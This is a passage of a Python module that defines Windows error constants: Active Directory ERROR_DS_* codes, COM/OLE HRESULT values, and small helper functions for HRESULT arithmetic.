ERROR_DS_ATT_ALREADY_EXISTS = 8318
ERROR_DS_CANT_ADD_ATT_VALUES = 8320
ERROR_DS_SINGLE_VALUE_CONSTRAINT = 8321
ERROR_DS_RANGE_CONSTRAINT = 8322
ERROR_DS_ATT_VAL_ALREADY_EXISTS = 8323
ERROR_DS_CANT_REM_MISSING_ATT = 8324
ERROR_DS_CANT_REM_MISSING_ATT_VAL = 8325
ERROR_DS_ROOT_CANT_BE_SUBREF = 8326
ERROR_DS_NO_CHAINING = 8327
ERROR_DS_NO_CHAINED_EVAL = 8328
ERROR_DS_NO_PARENT_OBJECT = 8329
ERROR_DS_PARENT_IS_AN_ALIAS = 8330
ERROR_DS_CANT_MIX_MASTER_AND_REPS = 8331
ERROR_DS_CHILDREN_EXIST = 8332
ERROR_DS_OBJ_NOT_FOUND = 8333
ERROR_DS_ALIASED_OBJ_MISSING = 8334
ERROR_DS_BAD_NAME_SYNTAX = 8335
ERROR_DS_ALIAS_POINTS_TO_ALIAS = 8336
ERROR_DS_CANT_DEREF_ALIAS = 8337
ERROR_DS_OUT_OF_SCOPE = 8338
ERROR_DS_OBJECT_BEING_REMOVED = 8339
ERROR_DS_CANT_DELETE_DSA_OBJ = 8340
ERROR_DS_GENERIC_ERROR = 8341
ERROR_DS_DSA_MUST_BE_INT_MASTER = 8342
ERROR_DS_CLASS_NOT_DSA = 8343
ERROR_DS_INSUFF_ACCESS_RIGHTS = 8344
ERROR_DS_ILLEGAL_SUPERIOR = 8345
ERROR_DS_ATTRIBUTE_OWNED_BY_SAM = 8346
ERROR_DS_NAME_TOO_MANY_PARTS = 8347
ERROR_DS_NAME_TOO_LONG = 8348
ERROR_DS_NAME_VALUE_TOO_LONG = 8349
ERROR_DS_NAME_UNPARSEABLE = 8350
ERROR_DS_NAME_TYPE_UNKNOWN = 8351
ERROR_DS_NOT_AN_OBJECT = 8352
ERROR_DS_SEC_DESC_TOO_SHORT = 8353
ERROR_DS_SEC_DESC_INVALID = 8354
ERROR_DS_NO_DELETED_NAME = 8355
ERROR_DS_SUBREF_MUST_HAVE_PARENT = 8356
ERROR_DS_NCNAME_MUST_BE_NC = 8357
ERROR_DS_CANT_ADD_SYSTEM_ONLY = 8358
ERROR_DS_CLASS_MUST_BE_CONCRETE = 8359
ERROR_DS_INVALID_DMD = 8360
ERROR_DS_OBJ_GUID_EXISTS = 8361
ERROR_DS_NOT_ON_BACKLINK = 8362
ERROR_DS_NO_CROSSREF_FOR_NC = 8363
ERROR_DS_SHUTTING_DOWN = 8364
ERROR_DS_UNKNOWN_OPERATION = 8365
ERROR_DS_INVALID_ROLE_OWNER = 8366
ERROR_DS_COULDNT_CONTACT_FSMO = 8367
ERROR_DS_CROSS_NC_DN_RENAME = 8368
ERROR_DS_CANT_MOD_SYSTEM_ONLY = 8369
ERROR_DS_REPLICATOR_ONLY = 8370
ERROR_DS_OBJ_CLASS_NOT_DEFINED = 8371
ERROR_DS_OBJ_CLASS_NOT_SUBCLASS = 8372
ERROR_DS_NAME_REFERENCE_INVALID = 8373
ERROR_DS_CROSS_REF_EXISTS = 8374
ERROR_DS_CANT_DEL_MASTER_CROSSREF = 8375
ERROR_DS_SUBTREE_NOTIFY_NOT_NC_HEAD = 8376
ERROR_DS_NOTIFY_FILTER_TOO_COMPLEX = 8377
ERROR_DS_DUP_RDN = 8378
ERROR_DS_DUP_OID = 8379
ERROR_DS_DUP_MAPI_ID = 8380
ERROR_DS_DUP_SCHEMA_ID_GUID = 8381
ERROR_DS_DUP_LDAP_DISPLAY_NAME = 8382
ERROR_DS_SEMANTIC_ATT_TEST = 8383
ERROR_DS_SYNTAX_MISMATCH = 8384
ERROR_DS_EXISTS_IN_MUST_HAVE = 8385
ERROR_DS_EXISTS_IN_MAY_HAVE = 8386
ERROR_DS_NONEXISTENT_MAY_HAVE = 8387
ERROR_DS_NONEXISTENT_MUST_HAVE = 8388
ERROR_DS_AUX_CLS_TEST_FAIL = 8389
ERROR_DS_NONEXISTENT_POSS_SUP = 8390
ERROR_DS_SUB_CLS_TEST_FAIL = 8391
ERROR_DS_BAD_RDN_ATT_ID_SYNTAX = 8392
ERROR_DS_EXISTS_IN_AUX_CLS = 8393
ERROR_DS_EXISTS_IN_SUB_CLS = 8394
ERROR_DS_EXISTS_IN_POSS_SUP = 8395
ERROR_DS_RECALCSCHEMA_FAILED = 8396
ERROR_DS_TREE_DELETE_NOT_FINISHED = 8397
ERROR_DS_CANT_DELETE = 8398
ERROR_DS_ATT_SCHEMA_REQ_ID = 8399
ERROR_DS_BAD_ATT_SCHEMA_SYNTAX = 8400
ERROR_DS_CANT_CACHE_ATT = 8401
ERROR_DS_CANT_CACHE_CLASS = 8402
ERROR_DS_CANT_REMOVE_ATT_CACHE = 8403
ERROR_DS_CANT_REMOVE_CLASS_CACHE = 8404
ERROR_DS_CANT_RETRIEVE_DN = 8405
ERROR_DS_MISSING_SUPREF = 8406
ERROR_DS_CANT_RETRIEVE_INSTANCE = 8407
ERROR_DS_CODE_INCONSISTENCY = 8408
ERROR_DS_DATABASE_ERROR = 8409
ERROR_DS_GOVERNSID_MISSING = 8410
ERROR_DS_MISSING_EXPECTED_ATT = 8411
ERROR_DS_NCNAME_MISSING_CR_REF = 8412
ERROR_DS_SECURITY_CHECKING_ERROR = 8413
ERROR_DS_SCHEMA_NOT_LOADED = 8414
ERROR_DS_SCHEMA_ALLOC_FAILED = 8415
ERROR_DS_ATT_SCHEMA_REQ_SYNTAX = 8416
ERROR_DS_GCVERIFY_ERROR = 8417
ERROR_DS_DRA_SCHEMA_MISMATCH = 8418
ERROR_DS_CANT_FIND_DSA_OBJ = 8419
ERROR_DS_CANT_FIND_EXPECTED_NC = 8420
ERROR_DS_CANT_FIND_NC_IN_CACHE = 8421
ERROR_DS_CANT_RETRIEVE_CHILD = 8422
ERROR_DS_SECURITY_ILLEGAL_MODIFY = 8423
ERROR_DS_CANT_REPLACE_HIDDEN_REC = 8424
ERROR_DS_BAD_HIERARCHY_FILE = 8425
ERROR_DS_BUILD_HIERARCHY_TABLE_FAILED = 8426
ERROR_DS_CONFIG_PARAM_MISSING = 8427
ERROR_DS_COUNTING_AB_INDICES_FAILED = 8428
ERROR_DS_HIERARCHY_TABLE_MALLOC_FAILED = 8429
ERROR_DS_INTERNAL_FAILURE = 8430
ERROR_DS_UNKNOWN_ERROR = 8431
ERROR_DS_ROOT_REQUIRES_CLASS_TOP = 8432
ERROR_DS_REFUSING_FSMO_ROLES = 8433
ERROR_DS_MISSING_FSMO_SETTINGS = 8434
ERROR_DS_UNABLE_TO_SURRENDER_ROLES = 8435
ERROR_DS_DRA_GENERIC = 8436
ERROR_DS_DRA_INVALID_PARAMETER = 8437
ERROR_DS_DRA_BUSY = 8438
ERROR_DS_DRA_BAD_DN = 8439
ERROR_DS_DRA_BAD_NC = 8440
ERROR_DS_DRA_DN_EXISTS = 8441
ERROR_DS_DRA_INTERNAL_ERROR = 8442
ERROR_DS_DRA_INCONSISTENT_DIT = 8443
ERROR_DS_DRA_CONNECTION_FAILED = 8444
ERROR_DS_DRA_BAD_INSTANCE_TYPE = 8445
ERROR_DS_DRA_OUT_OF_MEM = 8446
ERROR_DS_DRA_MAIL_PROBLEM = 8447
ERROR_DS_DRA_REF_ALREADY_EXISTS = 8448
ERROR_DS_DRA_REF_NOT_FOUND = 8449
ERROR_DS_DRA_OBJ_IS_REP_SOURCE = 8450
ERROR_DS_DRA_DB_ERROR = 8451
ERROR_DS_DRA_NO_REPLICA = 8452
ERROR_DS_DRA_ACCESS_DENIED = 8453
ERROR_DS_DRA_NOT_SUPPORTED = 8454
ERROR_DS_DRA_RPC_CANCELLED = 8455
ERROR_DS_DRA_SOURCE_DISABLED = 8456
ERROR_DS_DRA_SINK_DISABLED = 8457
ERROR_DS_DRA_NAME_COLLISION = 8458
ERROR_DS_DRA_SOURCE_REINSTALLED = 8459
ERROR_DS_DRA_MISSING_PARENT = 8460
ERROR_DS_DRA_PREEMPTED = 8461
ERROR_DS_DRA_ABANDON_SYNC = 8462
ERROR_DS_DRA_SHUTDOWN = 8463
ERROR_DS_DRA_INCOMPATIBLE_PARTIAL_SET = 8464
ERROR_DS_DRA_SOURCE_IS_PARTIAL_REPLICA = 8465
ERROR_DS_DRA_EXTN_CONNECTION_FAILED = 8466
ERROR_DS_INSTALL_SCHEMA_MISMATCH = 8467
ERROR_DS_DUP_LINK_ID = 8468
ERROR_DS_NAME_ERROR_RESOLVING = 8469
ERROR_DS_NAME_ERROR_NOT_FOUND = 8470
ERROR_DS_NAME_ERROR_NOT_UNIQUE = 8471
ERROR_DS_NAME_ERROR_NO_MAPPING = 8472
ERROR_DS_NAME_ERROR_DOMAIN_ONLY = 8473
ERROR_DS_NAME_ERROR_NO_SYNTACTICAL_MAPPING = 8474
ERROR_DS_CONSTRUCTED_ATT_MOD = 8475
ERROR_DS_WRONG_OM_OBJ_CLASS = 8476
ERROR_DS_DRA_REPL_PENDING = 8477
ERROR_DS_DS_REQUIRED = 8478
ERROR_DS_INVALID_LDAP_DISPLAY_NAME = 8479
ERROR_DS_NON_BASE_SEARCH = 8480
ERROR_DS_CANT_RETRIEVE_ATTS = 8481
ERROR_DS_BACKLINK_WITHOUT_LINK = 8482
ERROR_DS_EPOCH_MISMATCH = 8483
ERROR_DS_SRC_NAME_MISMATCH = 8484
ERROR_DS_SRC_AND_DST_NC_IDENTICAL = 8485
ERROR_DS_DST_NC_MISMATCH = 8486
ERROR_DS_NOT_AUTHORITIVE_FOR_DST_NC = 8487
ERROR_DS_SRC_GUID_MISMATCH = 8488
ERROR_DS_CANT_MOVE_DELETED_OBJECT = 8489
ERROR_DS_PDC_OPERATION_IN_PROGRESS = 8490
ERROR_DS_CROSS_DOMAIN_CLEANUP_REQD = 8491
ERROR_DS_ILLEGAL_XDOM_MOVE_OPERATION = 8492
ERROR_DS_CANT_WITH_ACCT_GROUP_MEMBERSHPS = 8493
ERROR_DS_NC_MUST_HAVE_NC_PARENT = 8494
ERROR_DS_CR_IMPOSSIBLE_TO_VALIDATE = 8495
ERROR_DS_DST_DOMAIN_NOT_NATIVE = 8496
ERROR_DS_MISSING_INFRASTRUCTURE_CONTAINER = 8497
ERROR_DS_CANT_MOVE_ACCOUNT_GROUP = 8498
ERROR_DS_CANT_MOVE_RESOURCE_GROUP = 8499
ERROR_DS_INVALID_SEARCH_FLAG = 8500
ERROR_DS_NO_TREE_DELETE_ABOVE_NC = 8501
ERROR_DS_COULDNT_LOCK_TREE_FOR_DELETE = 8502
ERROR_DS_COULDNT_IDENTIFY_OBJECTS_FOR_TREE_DELETE = 8503
ERROR_DS_SAM_INIT_FAILURE = 8504
ERROR_DS_SENSITIVE_GROUP_VIOLATION = 8505
ERROR_DS_CANT_MOD_PRIMARYGROUPID = 8506
ERROR_DS_ILLEGAL_BASE_SCHEMA_MOD = 8507
ERROR_DS_NONSAFE_SCHEMA_CHANGE = 8508
ERROR_DS_SCHEMA_UPDATE_DISALLOWED = 8509
ERROR_DS_CANT_CREATE_UNDER_SCHEMA = 8510
ERROR_DS_INSTALL_NO_SRC_SCH_VERSION = 8511
ERROR_DS_INSTALL_NO_SCH_VERSION_IN_INIFILE = 8512
ERROR_DS_INVALID_GROUP_TYPE = 8513
ERROR_DS_NO_NEST_GLOBALGROUP_IN_MIXEDDOMAIN = 8514
ERROR_DS_NO_NEST_LOCALGROUP_IN_MIXEDDOMAIN = 8515
ERROR_DS_GLOBAL_CANT_HAVE_LOCAL_MEMBER = 8516
ERROR_DS_GLOBAL_CANT_HAVE_UNIVERSAL_MEMBER = 8517
ERROR_DS_UNIVERSAL_CANT_HAVE_LOCAL_MEMBER = 8518
ERROR_DS_GLOBAL_CANT_HAVE_CROSSDOMAIN_MEMBER = 8519
ERROR_DS_LOCAL_CANT_HAVE_CROSSDOMAIN_LOCAL_MEMBER = 8520
ERROR_DS_HAVE_PRIMARY_MEMBERS = 8521
ERROR_DS_STRING_SD_CONVERSION_FAILED = 8522
ERROR_DS_NAMING_MASTER_GC = 8523
ERROR_DS_DNS_LOOKUP_FAILURE = 8524
ERROR_DS_COULDNT_UPDATE_SPNS = 8525
ERROR_DS_CANT_RETRIEVE_SD = 8526
ERROR_DS_KEY_NOT_UNIQUE = 8527
ERROR_DS_WRONG_LINKED_ATT_SYNTAX = 8528
ERROR_DS_SAM_NEED_BOOTKEY_PASSWORD = 8529
ERROR_DS_SAM_NEED_BOOTKEY_FLOPPY = 8530
ERROR_DS_CANT_START = 8531
ERROR_DS_INIT_FAILURE = 8532
ERROR_DS_NO_PKT_PRIVACY_ON_CONNECTION = 8533
ERROR_DS_SOURCE_DOMAIN_IN_FOREST = 8534
ERROR_DS_DESTINATION_DOMAIN_NOT_IN_FOREST = 8535
ERROR_DS_DESTINATION_AUDITING_NOT_ENABLED = 8536
ERROR_DS_CANT_FIND_DC_FOR_SRC_DOMAIN = 8537
ERROR_DS_SRC_OBJ_NOT_GROUP_OR_USER = 8538
ERROR_DS_SRC_SID_EXISTS_IN_FOREST = 8539
ERROR_DS_SRC_AND_DST_OBJECT_CLASS_MISMATCH = 8540
ERROR_SAM_INIT_FAILURE = 8541
ERROR_DS_DRA_SCHEMA_INFO_SHIP = 8542
ERROR_DS_DRA_SCHEMA_CONFLICT = 8543
ERROR_DS_DRA_EARLIER_SCHEMA_CONFLICT = 8544
ERROR_DS_DRA_OBJ_NC_MISMATCH = 8545
ERROR_DS_NC_STILL_HAS_DSAS = 8546
ERROR_DS_GC_REQUIRED = 8547
ERROR_DS_LOCAL_MEMBER_OF_LOCAL_ONLY = 8548
ERROR_DS_NO_FPO_IN_UNIVERSAL_GROUPS = 8549
ERROR_DS_CANT_ADD_TO_GC = 8550
ERROR_DS_NO_CHECKPOINT_WITH_PDC = 8551
ERROR_DS_SOURCE_AUDITING_NOT_ENABLED = 8552
ERROR_DS_CANT_CREATE_IN_NONDOMAIN_NC = 8553
ERROR_DS_INVALID_NAME_FOR_SPN = 8554
ERROR_DS_FILTER_USES_CONTRUCTED_ATTRS = 8555
ERROR_DS_UNICODEPWD_NOT_IN_QUOTES = 8556
ERROR_DS_MACHINE_ACCOUNT_QUOTA_EXCEEDED = 8557
ERROR_DS_MUST_BE_RUN_ON_DST_DC = 8558
ERROR_DS_SRC_DC_MUST_BE_SP4_OR_GREATER = 8559
ERROR_DS_CANT_TREE_DELETE_CRITICAL_OBJ = 8560
ERROR_DS_INIT_FAILURE_CONSOLE = 8561
ERROR_DS_SAM_INIT_FAILURE_CONSOLE = 8562
ERROR_DS_FOREST_VERSION_TOO_HIGH = 8563
ERROR_DS_DOMAIN_VERSION_TOO_HIGH = 8564
ERROR_DS_FOREST_VERSION_TOO_LOW = 8565
ERROR_DS_DOMAIN_VERSION_TOO_LOW = 8566
ERROR_DS_INCOMPATIBLE_VERSION = 8567
ERROR_DS_LOW_DSA_VERSION = 8568
ERROR_DS_NO_BEHAVIOR_VERSION_IN_MIXEDDOMAIN = 8569
ERROR_DS_NOT_SUPPORTED_SORT_ORDER = 8570
ERROR_DS_NAME_NOT_UNIQUE = 8571
ERROR_DS_MACHINE_ACCOUNT_CREATED_PRENT4 = 8572
ERROR_DS_OUT_OF_VERSION_STORE = 8573
ERROR_DS_INCOMPATIBLE_CONTROLS_USED = 8574
ERROR_DS_NO_REF_DOMAIN = 8575
ERROR_DS_RESERVED_LINK_ID = 8576
ERROR_DS_LINK_ID_NOT_AVAILABLE = 8577
ERROR_DS_AG_CANT_HAVE_UNIVERSAL_MEMBER = 8578
ERROR_DS_MODIFYDN_DISALLOWED_BY_INSTANCE_TYPE = 8579
ERROR_DS_NO_OBJECT_MOVE_IN_SCHEMA_NC = 8580
ERROR_DS_MODIFYDN_DISALLOWED_BY_FLAG = 8581
ERROR_DS_MODIFYDN_WRONG_GRANDPARENT = 8582
ERROR_DS_NAME_ERROR_TRUST_REFERRAL = 8583
ERROR_NOT_SUPPORTED_ON_STANDARD_SERVER = 8584
ERROR_DS_CANT_ACCESS_REMOTE_PART_OF_AD = 8585
ERROR_DS_CR_IMPOSSIBLE_TO_VALIDATE_V2 = 8586
ERROR_DS_THREAD_LIMIT_EXCEEDED = 8587
ERROR_DS_NOT_CLOSEST = 8588
ERROR_DS_CANT_DERIVE_SPN_WITHOUT_SERVER_REF = 8589
ERROR_DS_SINGLE_USER_MODE_FAILED = 8590
ERROR_DS_NTDSCRIPT_SYNTAX_ERROR = 8591
ERROR_DS_NTDSCRIPT_PROCESS_ERROR = 8592
ERROR_DS_DIFFERENT_REPL_EPOCHS = 8593
ERROR_DS_DRS_EXTENSIONS_CHANGED = 8594
ERROR_DS_REPLICA_SET_CHANGE_NOT_ALLOWED_ON_DISABLED_CR = 8595
ERROR_DS_NO_MSDS_INTID = 8596
ERROR_DS_DUP_MSDS_INTID = 8597
ERROR_DS_EXISTS_IN_RDNATTID = 8598
ERROR_DS_AUTHORIZATION_FAILED = 8599
ERROR_DS_INVALID_SCRIPT = 8600
ERROR_DS_REMOTE_CROSSREF_OP_FAILED = 8601
ERROR_DS_CROSS_REF_BUSY = 8602
ERROR_DS_CANT_DERIVE_SPN_FOR_DELETED_DOMAIN = 8603
ERROR_DS_CANT_DEMOTE_WITH_WRITEABLE_NC = 8604
ERROR_DS_DUPLICATE_ID_FOUND = 8605
ERROR_DS_INSUFFICIENT_ATTR_TO_CREATE_OBJECT = 8606
ERROR_DS_GROUP_CONVERSION_ERROR = 8607
ERROR_DS_CANT_MOVE_APP_BASIC_GROUP = 8608
ERROR_DS_CANT_MOVE_APP_QUERY_GROUP = 8609
ERROR_DS_ROLE_NOT_VERIFIED = 8610
ERROR_DS_WKO_CONTAINER_CANNOT_BE_SPECIAL = 8611
ERROR_DS_DOMAIN_RENAME_IN_PROGRESS = 8612
ERROR_DS_EXISTING_AD_CHILD_NC = 8613
ERROR_DS_REPL_LIFETIME_EXCEEDED = 8614
ERROR_DS_DISALLOWED_IN_SYSTEM_CONTAINER = 8615
ERROR_DS_LDAP_SEND_QUEUE_FULL = 8616
ERROR_DS_DRA_OUT_SCHEDULE_WINDOW = 8617
ERROR_DS_POLICY_NOT_KNOWN = 8618
ERROR_NO_SITE_SETTINGS_OBJECT = 8619
ERROR_NO_SECRETS = 8620
ERROR_NO_WRITABLE_DC_FOUND = 8621
ERROR_DS_NO_SERVER_OBJECT = 8622
ERROR_DS_NO_NTDSA_OBJECT = 8623
ERROR_DS_NON_ASQ_SEARCH = 8624
ERROR_DS_AUDIT_FAILURE = 8625
ERROR_DS_INVALID_SEARCH_FLAG_SUBTREE = 8626
ERROR_DS_INVALID_SEARCH_FLAG_TUPLE = 8627
ERROR_DS_HIERARCHY_TABLE_TOO_DEEP = 8628

SEVERITY_SUCCESS = 0
SEVERITY_ERROR = 1

def HRESULT_FROM_WIN32(scode):
    return -2147024896 | (scode & 65535)

def SUCCEEDED(Status):
    return ((Status) >= 0)

def FAILED(Status):
    return (Status<0)

def HRESULT_CODE(hr):
    return ((hr) & 65535)

def SCODE_CODE(sc):
    return ((sc) & 65535)

def HRESULT_FACILITY(hr):
    return (((hr) >> 16) & 8191)

def SCODE_FACILITY(sc):
    return (((sc) >> 16) & 8191)

def HRESULT_SEVERITY(hr):
    return (((hr) >> 31) & 1)

def SCODE_SEVERITY(sc):
    return (((sc) >> 31) & 1)

FACILITY_NT_BIT = 268435456
def HRESULT_FROM_NT(x):
    return x | FACILITY_NT_BIT

def GetScode(hr):
    return hr

def ResultFromScode(sc):
    return sc

NOERROR = 0
E_UNEXPECTED = -2147418113
E_NOTIMPL = -2147467263
E_OUTOFMEMORY = -2147024882
E_INVALIDARG = -2147024809
E_NOINTERFACE = -2147467262
E_POINTER = -2147467261
E_HANDLE = -2147024890
E_ABORT = -2147467260
E_FAIL = -2147467259
E_ACCESSDENIED = -2147024891
win16_E_NOTIMPL = -2147483647
win16_E_OUTOFMEMORY = -2147483646
win16_E_INVALIDARG = -2147483645
win16_E_NOINTERFACE = -2147483644
win16_E_POINTER = -2147483643
win16_E_HANDLE = -2147483642
win16_E_ABORT = -2147483641
win16_E_FAIL = -2147483640
win16_E_ACCESSDENIED = -2147483639
E_PENDING = -2147483638
CO_E_INIT_TLS = -2147467258
CO_E_INIT_SHARED_ALLOCATOR = -2147467257
CO_E_INIT_MEMORY_ALLOCATOR = -2147467256
CO_E_INIT_CLASS_CACHE = -2147467255
CO_E_INIT_RPC_CHANNEL = -2147467254
CO_E_INIT_TLS_SET_CHANNEL_CONTROL = -2147467253
CO_E_INIT_TLS_CHANNEL_CONTROL = -2147467252
CO_E_INIT_UNACCEPTED_USER_ALLOCATOR = -2147467251
CO_E_INIT_SCM_MUTEX_EXISTS = -2147467250
CO_E_INIT_SCM_FILE_MAPPING_EXISTS = -2147467249
CO_E_INIT_SCM_MAP_VIEW_OF_FILE = -2147467248
CO_E_INIT_SCM_EXEC_FAILURE = -2147467247
CO_E_INIT_ONLY_SINGLE_THREADED = -2147467246
CO_E_CANT_REMOTE = -2147467245
CO_E_BAD_SERVER_NAME = -2147467244
CO_E_WRONG_SERVER_IDENTITY = -2147467243
CO_E_OLE1DDE_DISABLED = -2147467242
CO_E_RUNAS_SYNTAX = -2147467241
CO_E_CREATEPROCESS_FAILURE = -2147467240
CO_E_RUNAS_CREATEPROCESS_FAILURE = -2147467239
CO_E_RUNAS_LOGON_FAILURE = -2147467238
CO_E_LAUNCH_PERMSSION_DENIED = -2147467237
CO_E_START_SERVICE_FAILURE = -2147467236
CO_E_REMOTE_COMMUNICATION_FAILURE = -2147467235
CO_E_SERVER_START_TIMEOUT = -2147467234
CO_E_CLSREG_INCONSISTENT = -2147467233
CO_E_IIDREG_INCONSISTENT = -2147467232
CO_E_NOT_SUPPORTED = -2147467231
CO_E_RELOAD_DLL = -2147467230
CO_E_MSI_ERROR = -2147467229

OLE_E_FIRST = -2147221504
OLE_E_LAST = -2147221249
OLE_S_FIRST = 262144
OLE_S_LAST = 262399

OLE_E_OLEVERB = -2147221504
OLE_E_ADVF = -2147221503
OLE_E_ENUM_NOMORE = -2147221502
OLE_E_ADVISENOTSUPPORTED = -2147221501
OLE_E_NOCONNECTION = -2147221500
OLE_E_NOTRUNNING = -2147221499
OLE_E_NOCACHE = -2147221498
OLE_E_BLANK = -2147221497
OLE_E_CLASSDIFF = -2147221496
OLE_E_CANT_GETMONIKER = -2147221495
OLE_E_CANT_BINDTOSOURCE = -2147221494
OLE_E_STATIC = -2147221493
OLE_E_PROMPTSAVECANCELLED = -2147221492
OLE_E_INVALIDRECT = -2147221491
OLE_E_WRONGCOMPOBJ = -2147221490
OLE_E_INVALIDHWND = -2147221489
OLE_E_NOT_INPLACEACTIVE = -2147221488
OLE_E_CANTCONVERT = -2147221487
OLE_E_NOSTORAGE = -2147221486
DV_E_FORMATETC = -2147221404
DV_E_DVTARGETDEVICE = -2147221403
DV_E_STGMEDIUM = -2147221402
DV_E_STATDATA = -2147221401
DV_E_LINDEX = -2147221400
DV_E_TYMED = -2147221399
DV_E_CLIPFORMAT = -2147221398
DV_E_DVASPECT = -2147221397
DV_E_DVTARGETDEVICE_SIZE = -2147221396
DV_E_NOIVIEWOBJECT = -2147221395
DRAGDROP_E_FIRST = -2147221248
DRAGDROP_E_LAST = -2147221233
DRAGDROP_S_FIRST = 262400
DRAGDROP_S_LAST = 262415
DRAGDROP_E_NOTREGISTERED = -2147221248
DRAGDROP_E_ALREADYREGISTERED = -2147221247
DRAGDROP_E_INVALIDHWND = -2147221246
CLASSFACTORY_E_FIRST = -2147221232
CLASSFACTORY_E_LAST = -2147221217
CLASSFACTORY_S_FIRST = 262416
CLASSFACTORY_S_LAST = 262431
CLASS_E_NOAGGREGATION = -2147221232
CLASS_E_CLASSNOTAVAILABLE = -2147221231
CLASS_E_NOTLICENSED = -2147221230
MARSHAL_E_FIRST = -2147221216
MARSHAL_E_LAST = -2147221201
MARSHAL_S_FIRST = 262432
MARSHAL_S_LAST = 262447
DATA_E_FIRST = -2147221200
DATA_E_LAST = -2147221185
DATA_S_FIRST = 262448
DATA_S_LAST = 262463
VIEW_E_FIRST = -2147221184
VIEW_E_LAST = -2147221169
VIEW_S_FIRST = 262464
VIEW_S_LAST = 262479
VIEW_E_DRAW = -2147221184
REGDB_E_FIRST = -2147221168
REGDB_E_LAST = -2147221153
REGDB_S_FIRST = 262480
REGDB_S_LAST = 262495
REGDB_E_READREGDB = -2147221168
REGDB_E_WRITEREGDB = -2147221167
REGDB_E_KEYMISSING = -2147221166
REGDB_E_INVALIDVALUE = -2147221165
REGDB_E_CLASSNOTREG = -2147221164
REGDB_E_IIDNOTREG = -2147221163
CAT_E_FIRST = -2147221152
CAT_E_LAST = -2147221151
CAT_E_CATIDNOEXIST = -2147221152
CAT_E_NODESCRIPTION = -2147221151
CS_E_FIRST = -2147221148
CS_E_LAST = -2147221144
CS_E_PACKAGE_NOTFOUND = -2147221148
CS_E_NOT_DELETABLE = -2147221147
CS_E_CLASS_NOTFOUND = -2147221146
CS_E_INVALID_VERSION = -2147221145
CS_E_NO_CLASSSTORE = -2147221144
CACHE_E_FIRST = -2147221136
CACHE_E_LAST = -2147221121
CACHE_S_FIRST = 262512
CACHE_S_LAST = 262527
CACHE_E_NOCACHE_UPDATED = -2147221136
OLEOBJ_E_FIRST = -2147221120
OLEOBJ_E_LAST = -2147221105
OLEOBJ_S_FIRST = 262528
OLEOBJ_S_LAST = 262543
OLEOBJ_E_NOVERBS = -2147221120
OLEOBJ_E_INVALIDVERB = -2147221119
CLIENTSITE_E_FIRST = -2147221104
CLIENTSITE_E_LAST = -2147221089
CLIENTSITE_S_FIRST = 262544
CLIENTSITE_S_LAST = 262559
INPLACE_E_NOTUNDOABLE = -2147221088
INPLACE_E_NOTOOLSPACE = -2147221087
INPLACE_E_FIRST = -2147221088
INPLACE_E_LAST = -2147221073
INPLACE_S_FIRST = 262560
INPLACE_S_LAST = 262575
ENUM_E_FIRST = -2147221072
ENUM_E_LAST = -2147221057
ENUM_S_FIRST = 262576
ENUM_S_LAST = 262591
CONVERT10_E_FIRST = -2147221056
CONVERT10_E_LAST = -2147221041
CONVERT10_S_FIRST = 262592
CONVERT10_S_LAST = 262607
CONVERT10_E_OLESTREAM_GET = -2147221056
CONVERT10_E_OLESTREAM_PUT = -2147221055
CONVERT10_E_OLESTREAM_FMT = -2147221054
CONVERT10_E_OLESTREAM_BITMAP_TO_DIB = -2147221053
CONVERT10_E_STG_FMT = -2147221052
CONVERT10_E_STG_NO_STD_STREAM = -2147221051
CONVERT10_E_STG_DIB_TO_BITMAP = -2147221050
CLIPBRD_E_FIRST = -2147221040
CLIPBRD_E_LAST = -2147221025
CLIPBRD_S_FIRST = 262608
CLIPBRD_S_LAST = 262623
CLIPBRD_E_CANT_OPEN = -2147221040
CLIPBRD_E_CANT_EMPTY = -2147221039
CLIPBRD_E_CANT_SET = -2147221038
CLIPBRD_E_BAD_DATA = -2147221037
CLIPBRD_E_CANT_CLOSE = -2147221036
MK_E_FIRST = -2147221024
MK_E_LAST = -2147221009
MK_S_FIRST = 262624
MK_S_LAST = 262639
MK_E_CONNECTMANUALLY = -2147221024
MK_E_EXCEEDEDDEADLINE = -2147221023
MK_E_NEEDGENERIC = -2147221022
MK_E_UNAVAILABLE = -2147221021
MK_E_SYNTAX = -2147221020
MK_E_NOOBJECT = -2147221019
MK_E_INVALIDEXTENSION = -2147221018
MK_E_INTERMEDIATEINTERFACENOTSUPPORTED = -2147221017
MK_E_NOTBINDABLE = -2147221016
MK_E_NOTBOUND = -2147221015
MK_E_CANTOPENFILE = -2147221014
MK_E_MUSTBOTHERUSER = -2147221013
MK_E_NOINVERSE = -2147221012
MK_E_NOSTORAGE = -2147221011
MK_E_NOPREFIX = -2147221010
MK_E_ENUMERATION_FAILED = -2147221009
CO_E_FIRST = -2147221008
CO_E_LAST = -2147220993
CO_S_FIRST = 262640
CO_S_LAST = 262655
CO_E_NOTINITIALIZED = -2147221008
CO_E_ALREADYINITIALIZED = -2147221007
CO_E_CANTDETERMINECLASS = -2147221006
CO_E_CLASSSTRING = -2147221005
CO_E_IIDSTRING = -2147221004
CO_E_APPNOTFOUND = -2147221003
CO_E_APPSINGLEUSE = -2147221002
CO_E_ERRORINAPP = -2147221001
CO_E_DLLNOTFOUND = -2147221000
CO_E_ERRORINDLL = -2147220999
CO_E_WRONGOSFORAPP = -2147220998
CO_E_OBJNOTREG = -2147220997
CO_E_OBJISREG = -2147220996
CO_E_OBJNOTCONNECTED = -2147220995
CO_E_APPDIDNTREG = -2147220994
CO_E_RELEASED = -2147220993
CO_E_FAILEDTOIMPERSONATE = -2147220992
CO_E_FAILEDTOGETSECCTX = -2147220991
CO_E_FAILEDTOOPENTHREADTOKEN = -2147220990
CO_E_FAILEDTOGETTOKENINFO = -2147220989
CO_E_TRUSTEEDOESNTMATCHCLIENT = -2147220988
CO_E_FAILEDTOQUERYCLIENTBLANKET = -2147220987
CO_E_FAILEDTOSETDACL = -2147220986
CO_E_ACCESSCHECKFAILED = -2147220985
CO_E_NETACCESSAPIFAILED = -2147220984
CO_E_WRONGTRUSTEENAMESYNTAX = -2147220983
CO_E_INVALIDSID = -2147220982
CO_E_CONVERSIONFAILED = -2147220981
CO_E_NOMATCHINGSIDFOUND = -2147220980
CO_E_LOOKUPACCSIDFAILED = -2147220979
CO_E_NOMATCHINGNAMEFOUND = -2147220978
CO_E_LOOKUPACCNAMEFAILED = -2147220977
CO_E_SETSERLHNDLFAILED = -2147220976
CO_E_FAILEDTOGETWINDIR = -2147220975
CO_E_PATHTOOLONG = -2147220974
CO_E_FAILEDTOGENUUID = -2147220973
CO_E_FAILEDTOCREATEFILE = -2147220972
